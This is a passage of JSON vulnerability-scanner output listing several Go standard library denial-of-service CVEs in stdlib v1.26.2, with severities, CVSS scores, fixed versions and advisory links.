"sha256:39a26057c66744e3cadc94173770854cfab86bd3ed0001bfb97b8a8fe9504f51", "Title": "encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue", "Description": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-56859", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/go/issues/80481", "https://go.dev/cl/803320", "https://go.dev/issue/80481", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56859.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56859", "https://pkg.go.dev/vuln/GO-2026-6088", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56859" ], "PublishedDate": "2026-08-13T22:17:22.32Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56860", "VendorIDs": [ "GO-2026-6218" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56860", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:810741e0cf6d5935ab55d7420960d69387d2d69225c6444ffac1ff8e69edaadc", "Title": "net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution", "Description": "Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56860", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/803681", "https://go.dev/issue/80494", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56860.html", "https://linux.oracle.com/errata/ELSA-2026-71619.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56860", "https://pkg.go.dev/vuln/GO-2026-6218", "https://www.cve.org/CVERecord?id=CVE-2026-56860" ], "PublishedDate": "2026-08-13T22:17:22.44Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56862", "VendorIDs": [ "GO-2026-6090" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56862", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:20a9d74e4c0bc8bbd9371bf39053168f22852e9663f4505f7d904fc3a9ac0ce6", "Title": "crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages", "Description": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56862", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80528", "https://go.dev/cl/804261", "https://go.dev/issue/80528", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56862.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56862", "https://pkg.go.dev/vuln/GO-2026-6090", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56862" ], "PublishedDate": "2026-08-13T22:17:22.55Z", "LastModifiedDate": "2026-10-24T16:10:00.153Z" }, { "VulnerabilityID": "CVE-2026-78667", "VendorIDs": [ "GO-2026-6609" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78667", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f63424685892e5b9c22098a6d1b08f0475a4cfa7c91fcdb66d989b9cfd7ea2a0", "Title": "net/http: golang: golang: Denial of Service via crafted HTTP Range headers", "Description": "When parsing a Range header containing a large number of small ranges, FileServer(FS), ServeContent, and ServeFile(FS) can consume an excessive amount of CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78667", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81858", "https://go.dev/cl/847309", "https://go.dev/issue/81858", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-78667.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78667", "https://pkg.go.dev/vuln/GO-2026-6609", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78667", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:03.88Z", "LastModifiedDate": "2026-10-09T17:16:49.69Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:29e88adf33a01feac1884c66553b84894a669d9b1abffec299bf325021e1a5ff", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2026-97031", "VendorIDs": [ "GO-2026-6607" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97031", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f4adb7c804c99d98071b6d29154c147440dac0383ed469a05877935ee4940bb6", "Title": "crypto/tls: golang: crypto/tls: Denial of Service via multiple ECH outer extension references", "Description": "Multiple ECH outer extension references are not permitted under RFC 9849; previously, a client could send a well-crafted packet that could trigger memory exhaustion in the server process by specifying multiple references. We now reject these as malformed and curb the memory amplification vector as a result.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-97031", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://go.dev/cl/847312", "https://go.dev/issue/81855", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-97031.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97031", "https://pkg.go.dev/vuln/GO-2026-6607", "https://www.cve.org/CVERecord?id=CVE-2026-97031" ], "PublishedDate": "2026-10-08T23:17:06.037Z", "LastModifiedDate": "2026-10-09T16:35:35.9Z" } ] } ] }